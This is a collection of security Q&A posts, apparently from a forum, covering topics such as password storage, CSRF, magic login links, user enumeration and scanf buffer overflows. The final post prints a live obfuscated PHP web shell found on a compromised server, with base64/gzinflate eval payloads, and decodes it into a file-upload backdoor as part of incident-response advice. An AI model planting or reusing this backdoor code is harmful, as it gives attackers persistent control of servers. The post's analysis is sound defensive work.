I trust password managers enough (LastPass) to protect passwords. All the data they store in the cloud is encrypted - it is only ever decrypted locally on your browser.

If anything I would worry about the bigger problem that not all websites follow best practices for password management/hashing, so having just the password, no matter how well guarded, is not enough.

My recommendation is let the password manager take care of the passwords, but make sure to enable second factor authentication (2FA) for important sites.

If a site does not support 2FA of some sort, I would hope it is not an important site... make sure it doesn't store credit card or sensitive information about you.


What is the rationale for calling setgroups on a list of length one? The Secure Programming Cookbook for C and C++ says that:

  "Ancillary groups are inherited by a process from its parent process, and they can only be altered by a process with superuser privileges. Therefore, if a process with superuser privileges is dropping these privileges, it must also be sure to drop any ancillary groups it may have. This is achieved by calling setgroups( ) with a single group, which is the real group ID for the process." [1.3, emphasis mine]

What is the rationale for doing the above rather than just setgroups(0, NULL); that is, en empty list?

Is there some portability problem with pushing an empty list of supplementary groups?

If not, what is achieved by installing the real GID of a process as an ancillary group? Is the issue that if the real GID is not among the ancillaries, and some other GID is effective, then the process is not effectively a member of that group? That doesn't seem like a security issue and is actually a feature. In any case, this is in the context of dropping privileges, so that real GID is about to become the effective one anyway. If we are about to end up with the situation getresgid() == < 1, 1, 1 >, what is the use of arranging for getgroups() == { 1 } versus getgroups() == { }?

It does look like portability. E.g this posting on the Samba mailing list with a patch included, subject line, "setgroups requires at least one group":

  "On some operating systems (in this case BSD/OS 4.2) setgroups must be
  given at least one group.  When no other groups are wanted, it is given
  the same group as the desired effective group (as seen in sendmail)."

This kind of thing is worth mentioning when making a recommendation about a practice.


Is it secure to put a mysqldumped file online? I made a database table of emoji country codes. I exported the data via mysqldump into a file called countries.sql.
I want to share it because it was a hassle finding anything like this, so I want to save people the trouble.
No sensitive data is in the table, but in the heading of the file, it seems like some information could be used in a attack, but I'm not really sure. It gives information about the OS and DB engine. I'm sure you could get this information in other ways, but I figured I'd ask before I do.
Here is the heading of the sql file.
--
-- Host: localhost    Database: analytics
-- ------------------------------------------------------
-- Server version       5.7.33-0ubuntu0.18.04.1

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

Basically there is not so much information that attacker can use, but lets see an example scenario:
You will allow users to download the mysql dump file from your web host, and the file will include the operating system and version this may give the attacker ground to step on and try to find exploit for that OS and version, but unless is very outdated there is nothing to worry about.
You can simply remove those lines by yourself or specify it in the software you are using to dump that file(example: phpmyadmin).


Why attack detection based on the same user request from different places (e.g. by IP) is not widely used? There are many ways how an adversary can pretend that he is a legitimate user (like session cookie stealing, bruteforcing the password and what not), but as far as I can see it should be rather hard for them to go unnoticed if the system tries to protect against it, e.g. by detecting that the same user is logging in from a different IP within the short period of time and moreover continue to send requests from multiple IP's simultaneously. This seem rather evident that for most cases something spooky is going on.

Is that really a good indication of a successful attack and system should try to prevent it somehow (I think e.g. google does)?
I have not seen that this widely employed, is that because it's just rather expensive to implement or because of the fact that people tend to rely on preventing identity theft in the first place?

There are a few reasons that IPv4 addressing is not used in this way:

IP addresses are not a foolproof indication of location. IP address blocks are assigned to companies and can be used anywhere they are required. A company in Asia may get a block from apnic, but then use part of their allocation in north America
Systems get different IP addresses all the time for legitimate reasons. The user's home ADSL router may be assigned a different address, or the user may log in using WIFI at Starbucks, a change of IP address is not a good indicator of fraud
A user may be using an anonymizer or VPN of some kind. A user logging in with Tor may appear to be coming from a different location entirely
A user may be using more than once device to log in at the same time. Many people use mobile devices at the same time as their laptops, or have a work machine and a personal machine going to the same site

These are all true with IPv4 in which IP addressing is assigned according to the network segment you are on. Using IP address changes to detect fraud will result in too many false positives.

Note that with IPv6 the second half of the address is the MAC address of the device. As MAC addresses are (supposedly) unique it may be viable to do a fraud check when a new machine address is detected logging into an account. This is what companies like Facebook are already trying to do - detecting new systems rather than IPs logging in.


Separate database column for salt Is it advisable to store the salt in a separate database column or should we concatenate it together with the password? Is there any difference? I have come across implementations of both types.

Example of concatented salt used in wordpress hashing function.

$P$Bo3k0g.yPKzWx.xmABq/hCuGLLd7A20

It really doesn't make a bit of difference.  The salt in no way needs to be kept secure.  There are arguably some very minor security advantages to it remaining secret (since it would provide some protection against cracking trivial passwords), but if your security is dependent on that, then your security is broken.

Additionally, the difference between being in the same column vs being in a different one is unlikely to make a bit of difference if the DB is compromised.  It might be minimally beneficial to put both in an encrypted column, but if they are two encrypted columns or one doesn't make much difference either.


Why don't browsers block cross-site POSTs by default? Same-origin policy (SOP) makes browsers block scripting from one origin to mess with another, unless explicitly being told not to do so. But cross-site POSTs are still allowed, creating the vector for CSRF attacks. The defense is anti-forgery tokens.

But why don't browser developers just follow the same SOP's philosophy when dealing with POSTs?

In theory your suggestion is perfectly reasonable. If browsers blocked all cross origin POST requests by default, and it required a CORS policy to unlock them, a lot of all the CSRF vulnerabilities out there would magically disappear. As a developer, you would only need to make sure to not change server state on GET requests. No tokens would be needed. That would be nice.

But that is not how the internet was built back in the day, and there is no way to change it now. There are many legitimate uses of cross origin POST requests. If browsers suddenly changed the rules mid game and forbade this, sites relying on the old rules would stop working. Breaking existing sites like that is something that we try to avoid to the largest extent possible. Unfortunately we have to live with our past.

So is there any way we could tweak the system to work better without breaking anything? One way would be to introduce a new HTTP verb, let's call it PEST, that works just like POST only that all PEST requests are preflighted and subject to CORS policies. That is just a silly suggestion I made up, but it shows how we can develop the standards without breaking them.


Security risk for allowing accounts without captcha I run a website that allows people to create accounts with an email address address and a password.  Over the last month, I have had about 100 accounts created with email addresses that look like this:
pa.rk.i.n.g.x.pe.rtdon.ma.na.h.a.n.@gmail.com (always with lots of dots)

and the provided name is one of
Robertskala
Jeanniebiz
JamesClurn

Usually, the emails bounce and the accounts get deactivated, but sometimes they don't.
Is my website being used for some kind of scam?  I don't see any benefit they can get from having an account on my website even if it isn't their email address.
Wondering if I should add a captcha for account creation to prevent some kind of scam or fraud.
UPDATE:
It is so easy to create throw away email accounts and people can already do this to create an account on my website.  I don't want to go into the details of my website, but there is no benefit to be gained with a throwaway account there.
Is there a security risk that is related to these long email addresses with lots of dots?  I'm wondering if I should reject emails with more than 3 dots.
I googled the email address and there is a Don Monahan who owns a website called parking-xpert.  I wonder if a scammy SEO provider is trying to get backlinks for a client through my website?

It appears that people are using my website to annoy people with unwanted email.
After a little more digging, I found another step in the process.  The script would:

Create an account with an email like pa.rk.i.n.g.x.pe.rtdon.ma.na.h.a.n.@gmail.com and this sends out a verification email
Immediately change the account email address to a variant of the original email, such as par.k.in.g.xp.e.r.tdo.nmanaha.n@gmail.com and this sends out another verification email (this goes to the same place because only the dots are different)

So they send out 2 annoying emails and not just 1.
I'm now blocking the offending IP addresses at the firewall, but I need to find an automated solution to prevent this (captcha or something else).
I find this all very strange since I would think there are much easier ways to annoy people!


How do I determine S/MIME encryption used? From what I understand it seems that S/MIME uses PKCS #7 which can handle various different types of encryption. How is the choice of encryption method made by the e-mail client and how do I know what encryption was used for sent/received messages (e.g in Thunderbird)?

Mail client encrypts message symmetrically with a random key. This key is then asymetrically encrypted with recipient's public key and attached to the message. Recipient then using his private key decrypts the symetric key and decrypts the content.

The symmetric algorithm used to encrypt the message can vary. I googled for this and it seems, that RC2 was used before and now it's TripleDES. The specific mode of operation is specified in the p7m file. Mail clients should have implemented both of them and I'm suer the modern ones use TripleDES. The asymmetric alhorithm for encrypting the key, according to this rfc, is Diffie-Hellman or RSA.

If you want to look inside the encrypted e-mail and you have the private key of recipient (you can send enc'd mail to yourself), look here. I asked for a way to display and interpret the p7m content. The bootom line is to use a tool called dumpasn1.


security implications of Java's System.load vs System.loadLibrary Jumping from https://stackoverflow.com/questions/7016391/difference-between-system-load-and-system-loadlibrary-in-java

What are the security implications of both approach ?

System.loadLibrary("_name_");

Automatically searches for a library named "lib_name_.so" in $LD_LIBRARY_PATH

System.load("/PATH/TO/_name_.so");

do load "/PATH/TO/_name_.so"

Relying on the calling system to help locate things can certainly lead down odd paths. The biggest problem is that the system may provide a file that wasn't intended to be loaded by the application. If an attacker can place a file in a location that falls under the search, then the attacker can inject arbitrary code into the application and execute it. E.g. an arbitrary code execution vulnerability (http://en.wikipedia.org/wiki/Arbitrary_code_execution).

If you specify the exact path, you have the ability to protect the loaded file through things like file permissions, etc.


Does a Mailbox Export Request modify the mailbox data? The procedure suggested by forensics companies to make a copy of a users's mailbox in a forensically sound manner is to use New-MailboxExportRequest.

What information is modified (if any) by the use of this command?

My understanding is that the action is logged but was under the impression that the mailbox data themselves were not modified.

I would appreciate technical references if possible (I did not find any)

Mailbox export request is the industry standard way to export data from Exchange for compliance, audit, and compliance purposes.

No data is modified, BUT it is possible to constrain the output to a certain date range, search for specific content, or include/exclude different folders.

If the archive parameter is set, then data will be removed from the mailbox.


Is EV (Extended Validation) Certificate Green Bar Affected by Available Cipher Suites? I am wondering whether Extended Validation (EV) Certificate 'green bar' on the web browser is affected by Cipher Suites. I can't find seem to find a reference that says that apart from this answer. Though i do find weird that one of the website that have EV Certificate is properly shown in green in Mobile Browser while the other is not.

The website that have green bar have the following cipher suites:

            PORT    STATE SERVICE REASON
            443/tcp open  https   syn-ack ttl 117
            | ssl-enum-ciphers:
            |   TLSv1.0:
            |     ciphers:
            |       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
            |       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
            |       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA (rsa 2048) - A
            |       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
            |       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
            |       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA (rsa 2048) - A
            |     compressors:
            |       NULL
            |     cipher preference: server
            |   TLSv1.1:
            |     ciphers:
            |       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
            |       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
            |       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA (rsa 2048) - A
            |       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
            |       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
            |       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA (rsa 2048) - A
            |     compressors:
            |       NULL
            |     cipher preference: server
            |   TLSv1.2:
            |     ciphers:
            |       TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A
            |       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (secp256r1) - A
            |       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
            |       TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - A
            |       TLS_RSA_WITH_AES_256_CBC_SHA256 (rsa 2048) - A
            |       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
            |       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA (rsa 2048) - A
            |       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A
            |       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (secp256r1) - A
            |       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
            |       TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - A
            |       TLS_RSA_WITH_AES_128_CBC_SHA256 (rsa 2048) - A
            |       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
            |       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA (rsa 2048) - A
            |     compressors:
            |       NULL
            |     cipher preference: server
            |_  least strength: A

While the other only have these:

            PORT    STATE SERVICE REASON
            443/tcp open  https   syn-ack ttl 119
            | ssl-enum-ciphers:
            |   TLSv1.2:
            |     ciphers:
            |       TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A
            |       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A
            |       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (secp256r1) - A
            |       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (secp256r1) - A
            |     compressors:
            |       NULL
            |     cipher preference: server
            |_  least strength: A

The cipher checking is done using NMap.
My question is whether cipher suite selection affect the 'green bar' in web browser or perhaps anything else in play?
Thank you.

Is EV (Extended Validation) Certificate Green Bar Affected by Available Cipher Suites?

No, it's not. What you have here is a different problem caused by an inconsistent setup of the site in question. Details follow below.

Based on your feedback about the domain names in chat I've checked the site in question with different systems and it shows inconsistent behavior: on some systems it returns a non-EV certificate issued by "GlobalSign Organization Validation CA - SHA256 - G2" and on other systems an EV certificate issued by "GlobalSign Extended Validation CA - SHA256 - G3".

Looking at the difference of these systems I realized that my mobile version was using IPv6 while my desktop was using IPv4 to access the site. And in fact, looking at the report for this domain by SSLLabs gives you an IPv4 and IPv6 address for this site, where the IPv4 address is serving the EV certificate while the IPv6 address is serving the non-EV certificate.

One can reproduce this on an IPv6 enabled system with nmap. For IPv4:

$ nmap -p443 -script=ssl-cert your.hostname.here
...
| Issuer: commonName=GlobalSign Extended Validation CA - SHA256 - G3/organizationName=GlobalSign nv-sa/countryName=BE

While with IPv6:

$ nmap -6 -p443 -script=ssl-cert your.hostname.here
...
| Issuer: commonName=GlobalSign Organization Validation CA - SHA256 - G2/organizationName=GlobalSign nv-sa/countryName=BE

In summary: the green bar is correct because the site does not serve an EV certificate for the mobile system using IPv6 but it serves the EV certificate only when accessed with IPv4.


Is emailing sign in links bad practice? In my Spring application, I was planning to remove passwords from the authentication process by sending a "magic sign-in link" to a user's email address. However, in this question Rob Winch (lead of Spring Security) says the following:

  Be careful that you know what you are doing in terms of allowing login
  from a link within an email. SMTP is not a secure protocol and so it
  is typically bad to rely on someone having an email as a form of
  authentication.

Is that really the case? If so, then how is sending a link for password reset any more secure? Isn't logging-in using a magic link the same thing as sending a magic link for resetting a password?

A magic link alone is not necessarily bad. A 512 bit entirely random value is going to be no easier to guess than a 512 bit private key. In general it is considered good practice to expire them after a reasonable amount of time. A good approach - which also avoids having to store database entries is to embed the token data in the url and sign it with a private key. I.e.

site.com/login?type=login&user=[username]&expires=[datetime]&sig=[signature of other parameters].

However email as a transmission mechanism isn't secure.

By default SMTP offers very little protection against interception. Traffic may be encrypted between servers but there are no guarantees. Even with encryption its still often possible to man in the middle the connection (encryption is not the same as authentication).

  If so, then how is sending a link for password reset any more secure?

It isn't. This is why several services ask for some additional proof its you before sending the link (or after clicking it).


Is detecting if an email has an account considered a vulnerability with AWS cognito? Am doing a pen test on a client system using AWS Cognito and userpools for authentication using the client side SDK provided by AWS.

during the forget password flow, I noticed that Cognito request returns 400 with a payload of

__type  UserNotFoundException
message Username/client id combination not found.

and 200 when a user is found

CodeDeliveryDetails {}
AttributeName   email
DeliveryMedium  EMAIL
Destination j***@g***.com

Is this considered a vulnerability? It seems to be for me. Its kinda a leak of information. When anyone can check if an email has an account with my app by calling this url.

Another attack vector would be brute forcing against known emails for a list of users on the app for marketing or phishing purposes.

ideally for this flow you would want Cognito to return 200 regardless of if the email exist or not.

I know what is considered a vulnerability is never black and white but this seems to be an issue for me given AWS is so big and trusted.

Yes this is a vulnerability, more than one vector is depend on same logic, examples listed below.

SMTP VRFY option enabled
OpenSSH Username Enumeration
SIP INVITE/REGISTER Response User Enumeration

BUT as you mentioned vulnerability is never black and white, AWS can consider this is a risk and they may implemented rate limiting, if so they are reduce risk significantly.


Is my email client violating my privacy? There are many ways that emails can be used to violate the privacy of the recipient (Return-Receipt-To:, web bugs, iframes loaded from an external page, and other email tracking methods).  It may be possible to configure your email client to prevent some or all of these tracking methods, but it requires a bit of knowledge.

Is there any way to test my email client, to determine whether it has any privacy leaks that might allow someone sending me email to track me?

I found a web service to test your email client, to see whether it protects your privacy:

https://emailprivacytester.com/

It automates the process of sending you an email that uses various tricks to try to track you, and then checks to see which of those succeed.  It lists 37 different methods that it implements to try to determine whether you opened the email, track you, etc.  It looks like a pretty reasonable approach.

The author has found attacks and vulnerabilities in a number of email clients, which enable an email sender to violate the privacy of the recipient.  His software implements these attacks.  He describes some of these attacks on his blog:

New Version of The Email Privacy Tester
iOS 4 iPhone Email Privacy Leak
Automated Email Privacy Tester
DNS Pre-fetch Exposure on Thunderbird and Webmail
Android Email Information Leak
Apple Mail Privacy Hole


How many backups should I keep? Recently my backup disk almost got full because of all the backups we keep: 30 days of daily backups for every database (mongodb). So, the more databases we have, the more space we need for backups.

Then I wondered if it is really necessary to have 30 backups of every database. Is there any security reason to keep more than 1? More than 2? Are there any security implications here?

I feel like random people on the internet are not going to be able to answer this for you. This is a business decision. How valuable is the data? What is the risk of loss / corruption vs the cost of more disk space? Imagine your worst disaster-recovery scenario, how far back would you need to go to get a clean snapshot? I certainly can't answer any of this for you.

You should ask within your organization what's the farthest back anybody has ever requested a backup. Then consider something like a ransomware attack. Say it happens Friday evening, will an admin notice before Monday (< 2 days)? How long will the recovery / cleanup take? Hours? Days? Weeks?

Can you think of other disaster scenarios? How long do those require your backups to run? I guess this answer really doesn't have much to do with security...


Rasberry Pi with TRESOR immune to cold boot and DMA attacks? I would like to set up a Rasberry Pi and connect a large USB Harddrive and some webcams to run motion for homesurveillance.

If I am understanding everything correctly if I get Ubuntu mate to run with the TRESOR kernel patch the system would be immune to DMA and cold boot attacks.

The TRESOR kernel patch is for x86 processors, as it uses the x86 debug registers to store private key information (at the cost of disabling hardware debugging). The Raspberry Pi is based on ARM architecture, which is completely different.

I'm not sure you actually gain anything from running TRESOR on a Raspberry Pi in any case - even if it was supported - because the memory on a Pi is soldered to the board. It's not user-replaceable.

Frankly, if you don't trust locks, there isn't much point in installing anything of interest on the site itself: You'd be better off setting up a router, and having the (internet-enabled - maybe streamed via your Pi?) cameras stream content to a server hosted on the internet somewhere. Maybe an Amazon instance, maybe something else in the cloud: How you want to do that is up to you. At the end of the day, TRESOR or not, if someone got in and simply stole your Pi and hard disk, you'd never know who did it, because they'd be holding the only digital evidence. But if that same someone came in and unplugged your router - and got caught on camera in the process, you'd at least have some recorded evidence that you could use.

(Assuming they didn't trip the power breaker for your apartment, first...)

You need to decide what you want, here: TRESOR solves all the wrong problems. If you still want to pursue defence against cold-boot attacks, despite what has been said here, you could take a look at ARMORED, which you could simply view as a version of TRESOR for ARM architectures.


Can Veracode detect vulnerabilities in jsp files? We have chosen Veracode to perform security assessment of our JavaEE code. We have been performing white-box security testing using Veracode. As I am quite new to Veracode, I was surprised to find no results for our imperfect jsp files. All the results were around a few servelets. Also we did not find any results in our Manager classes and Service Classes (backend code). Please guide. What am I missing here?

Hi and thanks for your feedback. I can offer you some general information here and provide suggestions about how we can dig into your specific application.

First, Veracode does have support for JSPs. We generally precompile the JSPs upon your submission so that we can ensure we have all the necessary supporting pieces, then we analyze the resulting bytecode alongside the rest of your compiled Java code.

There are a few things that can go wrong when a customer uploads JSPs:

JSPs cannot be compiled. This happens when either a supporting
library required by the JSP is not present in the upload, or the JSP
is in an uncompilable state. We report back any JSP compilation
failures in the prescan report, so if you see these it's generally a
sign that we won't be able to analyze the content of the JSPs. If
you see these warnings, check to see if you are missing a class
dependency and see if you can upload it so we can get a good
compiled version of your JSP.
There's a packaging issue. While we can handle a few different ways to package your application, the Veracode service gets best
results if you upload a web application as a properly packaged WAR
file, including the web.xml. If you upload the application packaged
in a different way we may not be able to put the JSPs in their
proper context for analysis. This is an area we're working on,
because we realize that not every Java application server requires
WARs, and you may be deploying using a different model.
We don't support one of your frameworks. Because Veracode does a full data- and control-flow analysis of the application, we need to
have an understanding of everything that might impact the control
flow, including frameworks. We typically try to call out unsupported
frameworks at upload time as well; obviously that's not something
you'll be able to address with a quick fix, but we try to be as
transparent as we can about what we can analyze and what we can't.

All of that aside, we may simply have an issue in our engine when it comes to your application. The best thing to do is to schedule a readout with our service team so we can look at your results with you and offer you advice for your specific application. Depending on your subscription, you may have a "Request a Readout" button directly in the UI; if you don't, please contact us at support at veracode.com and we'll see what we can do to answer your concerns.


Why does my compiler warn me about gets but not about scanf? If I compile a code with gets, the compiler outputs a warning saying that the function shouldn't be used:
<source>:5:13: warning: 'char* gets(char*)' is deprecated [-Wdeprecated-declarations]
     gets(buf);
             ^
In file included from <source>:1:0:
/usr/include/stdio.h:577:14: note: declared here
 extern char *gets (char *__s) __wur __attribute_deprecated__;
              ^
/tmp/ccWRqB1K.o: In function `main':
/home/ce/<source>:5: warning: the `gets' function is dangerous and should not be used.

However, if I replace gets with scanf and a %s format string, it does not output such a warning:
int main()
{
    char buf[10];
    scanf("%s",buf);
}

If this program is compiled and I provide an input larger than 10 bytes, the program segfaults, and the buffer is overflown.
How can I understand this difference? Is scanf considered safe?

In general, scanf is not considered a safe function. It can be used safely or unsafely. In this case, your compiler is not issuing a warning since it does not have a lint that for an unbounded "%s" format string - i.e. it does not know that you are using it unsafely. On the other hand, it is hardly possible to use gets safely, as there is no way to provide a buffer length, so your compiler can with high confidence determine that you should not be using it.
To use scanf safely in your example, you'd need to provide the length in the format string, like so:
char buf[10];
scanf("%9s", buf);

The buffer needs to be one byte larger than the length specifier in the format string to accomodate for the terminating NUL byte.


What to look for in a PHP file on my server to decide whether it is rogue or not? I found this file in my folder named quarantine_wp_protect.php.  This file sits outside the public_html folder.

Inside this file is the following code:

GIF89a???????????!??????,???????D?;?<?php
$language = 'eng';
$auth     = 0;
$name     = ''; // md5 Login
$pass     = ''; // md5 Password

@error_reporting(0);
@set_time_limit(0);
 $lol = $_GET['lol'];
 $osc = $_GET['osc'];

if (isset($lol)) { eval(gzinflate(base64_decode('pZJda8IwFIbvB/sPMQhNQMR9XM05Cvsbg1DTE5vRJiEnnRbxvy9Jre5C8GJ35f143kMoyMYS+rNyn/5l/771H3T9+ABZxAHf6NI1TvSm6oDxJZ0Cc9nVG5pjxm5X9ZDa2QCEXa+TDQeWYnziXa2oqN7IoK0hOaWAH2PXA5INKYroa0XYDDoXhtFOvlZsqgk4aAzICjiALLJbps8cXiRQmj0Dv602jH4ZejFO8aQW4RYQG2hbccWeGeVVHw+6QxkwQHc+zG4FhsoHlkrlaF0gEz+GdhCEtCaAiYicjSKYWsgWKsPuTLoKMTS+vzk6mf+eLTWKWLW9l8DmKiGcdWDGh6ee8r+vRtMvsW90C2xWKrAqVjgnR5L9ZSwrD1Ud1cXT6vmVr8kpHStbi4mep6PiIfTe5FJSfgE='))); die; }
elseif (isset($osc)) { eval(gzinflate(base64_decode('pZHNasMwEITvhb6DYgyWIZS2lF5CwA9SEI48ilUcyWhlmhDy7l3J+ekhkENPEjM73w5SqXfdetMSPj9UB+07yNKTrlfPTyUI28mmAexlyWdSoXsvbhYrZnI6Wu9EnjKoj5wNILEWVcW+NUIusBvjYbaTb428xBT2liLJCnvoKrtNuubhZQLlMjPw21sniy9XXI0TVxoI94DUYxjUDXtmNDd9LvSAcqCI3bmY3yiKbYgyhZrZukIufB7aIirtXYRjRJ5lEa5TekDr5IOVY0sU+zDdXXox/722saQ46qeg+dNNQox+hJsfvghF/ffVioLDP70dIBeNgTccqWtxFNl/4bAJaDtWl2+v7x/1SpxSWT14SvS8mpWAOAWXQ0n5BQ=='))); }
else { eval(gzinflate(base64_decode('pVNdi9swEHw/uP+wEQbFkCZpy0G5xKGhJEdpoAX3nkIwii3XAtsSllwnd+S/V7LsOL409KF+8cfOjGdnV07Ic0VzBR5IVTAhUyITKodO8OO7/3OLmzLeuTNwwpilVCPPRfOOd7pSvqmUTeX+joYJBzzfL+b7YoHHIhFBmZOMDt0xNp/mk/0Cd7iYFxmQUDGeewhBRlXCIw8JLhUCmofqKKiHsjJVTJBCTQz+XUQUQWBUPUQqBCyq75e6ih4UKSixqLZpqY6p5lQsUsnjw6cHcZgllP1K1OOH6VQctMLYabDa7aQVsb104iwXpQJrzWBaL3U+CCR70S/vpwh+k7TUjzmtTMWEga51LDcI9Y+UZltZWe4zpmxrQSnSs9YXC7tlxzqwkpduPk7R4qbv8n98a3OcRP/0/Wxhev5mhLUai89r13Sv1+71/g705SQkj+oVi7mg+dDu4ghwhd2ZhRi6RbUk+xWGcVUwRdvqCNqZuuB5HqyXG3/lwivU3SC9qjbTdt+flk/LjVlTM3U0g1MnTlNJbxP952/+yofBYHDJhjhMuTy7ad2femK4E1tfebDbZ3yc+qHZ6LvQdO1zyMVRI9ZfNyt/i+2x3GKVicDMC+9GzeF1ewnY6bTn+rqRfhRvY+iza+9/J5/+AA=='))); }

?>

How can I determine what this file does and what would indicate that it is suspicious.

First things first

If you suspect your server has been compromised, you should be implementing an Incident Response plan. There are lots of resources out there for putting a plan together, including a recently released "Criminal Division Guidance on Best Practices for Victim Response and Reporting Cyber Incidents" from the US Justice Department.

Before you start analyzing your possible rogue file, start preserving information

You are going to want a clean copy of data that you can analyze to determine exactly what happened. If possible, this would include memory and hard disk images. If you don't have the ability to do that, at the very least:

run basic diagnostic commands like ps aux netstat naolp lsof and ls -alR (all as sudo). You don't have to analyze all of it now, just dump it all into a text file and copy it to another computer.
Copy off any directory you think could have been affected as you'll want to look for additional rogue files and modifications.
Grab all the log files you can, all of /var/log and apache or nginx logs, and user ~/.bash_history
Run a find search for all recently modified files, and copy them all off.

There are lots of resources for how you should respond to such a situation, but I figured I'd just give you what I would collect if I didn't have a IR Plan in place and had to act in the moment. I should also note that beacause of the possability of rootkits, these user-level tools may not give you accurate information, but if you can't grab a hard disk and memory image, it can be a place to start.

Analyzing the PHP File

As mentioned above, the file you posted has significant tells that it is malicious. I would consider the fact that it has a GIF header, but contains PHP code to be the biggest flag. Once you see that, you should start treating your server as compromised. Note: we don't yet know from the existence of the file alone how much access the attacker may have had.

But what does it do?

In order to see what the file does, I replaced every instance of eval with echo and ran the file. Before running the file, you should read the code to make sure you understand what it does. I ran it in a VM just to be sure, but since were just echoing strings, there isn't much to worry about (unless there is some php echo 0-day I'm unaware of). After running the modified code, we get the following output:

<?php
$content = stripslashes($_POST['content']); $cfile = $_POST['cfile']; $ufile = $_POST['ufile'];
echo '
'.php_uname().'
';
echo '<form action="" method="post" enctype="multipart/form-data" name="aw" id="aw">';
echo '<textarea name=content style="width:585px;height:200px">'.$content.'</textarea>
';
echo '<input type="text" name="cfile" size="10" value="newfile.php">';
echo '<input name="_create" type="submit" id="_upl" value="Create">';
echo '<input type="file" name="file" size="30"><input type="text" name="ufile" size="10" value="newfile.php">';
echo '<input name="_upload" type="submit" id="_upl" value="Upload"></form>';
if($_POST['_create']){
    $handle = fopen($cfile, 'w');
    if($handle){
        if (fwrite($handle, $content) === FALSE) { echo "Create $cfile GAGAL
"; }
        else { echo "Create $cfile SUKSES !!!
"; } fclose($handle);
    } else { echo 'Create File GAGAL

'; }
}
if($_POST['_upload']){
    if(@copy($_FILES['file']['tmp_name'], $ufile)) { echo "Upload $ufile SUKSES !!!

"; }
   else { echo "Upload $ufile GAGAL !!!

"; }
}

Quickly glancing through the code, it looks like this file is used to upload other files. It appears to be common, searching google for "Create File GAGAL" has over 100 results

Some additional tips include:

Websites like UnPHP and DDecode can help analyze obfuscated scripts.
The Reverse Engineering stack exchange has a question about setting up a secure environment to analyze the script.
The best way to start is by grabbing unique strings from the text and searching for them on Google. Often, you will find other researchers have done the work for you.

What to look for next

Because someone added a file that allows them to upload or create files, you want to see if anyone used it. This is when your web server logs will come in handy. Using a tool like grep can easily determine who accessed the file and could provide additional indicators to search for. For example, you can use grep to look for quarantine_wp_protect.php:

$ grep quarantine_wp_protect.php *
123.123.123.123 - - [11/Jan/2015:07:07:43 -0500] "GET /quarantine_wp_protect.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.66 Safari/537.36"
124.124.124.124 - - [11/Jan/2015:07:13:20 -0500] "GET /quarantine_wp_protect.php HTTP/1.1" 200 133 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.66 Safari/537.36"

This would indicate that the IPs 123.123.123.123 and 124.124.124.124 hit that file. You would then want to run grep scans based on that IP to see what else those IPs might have done.

There are some things to keep in mind when looking at your logs. For instance, the User Agent String (the last "" section in the example above), is client supplied and should really be considered arbitrary. Sometimes you will see useragent strings like "Googlebot" or "Yahoo", but these may not actually be google and yahoo. A good way to tell is to lookup who is registered to that IP address. For example you can use WolframAlpha to search 188.165.15.160. Wolfram reports that this IP belongs to OVH SAS in Paris, France. When you search for a legitimate google IP, Wolfram reports "Googlebot".

The log line in the comment below is:

188.165.15.160 - - [07/May/2015:19:41:20 -0700] "GET /wp-content/plugins/_notes/index.php?url=/Nike-Free-Run-Pas-Cher/Chaussure-de-course-U-1278-Nike-Free-30-V3-Femmes-Anthracite-1681.html HTTP/1.1" 503 1168 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.0; +ahrefs.com/robot/)

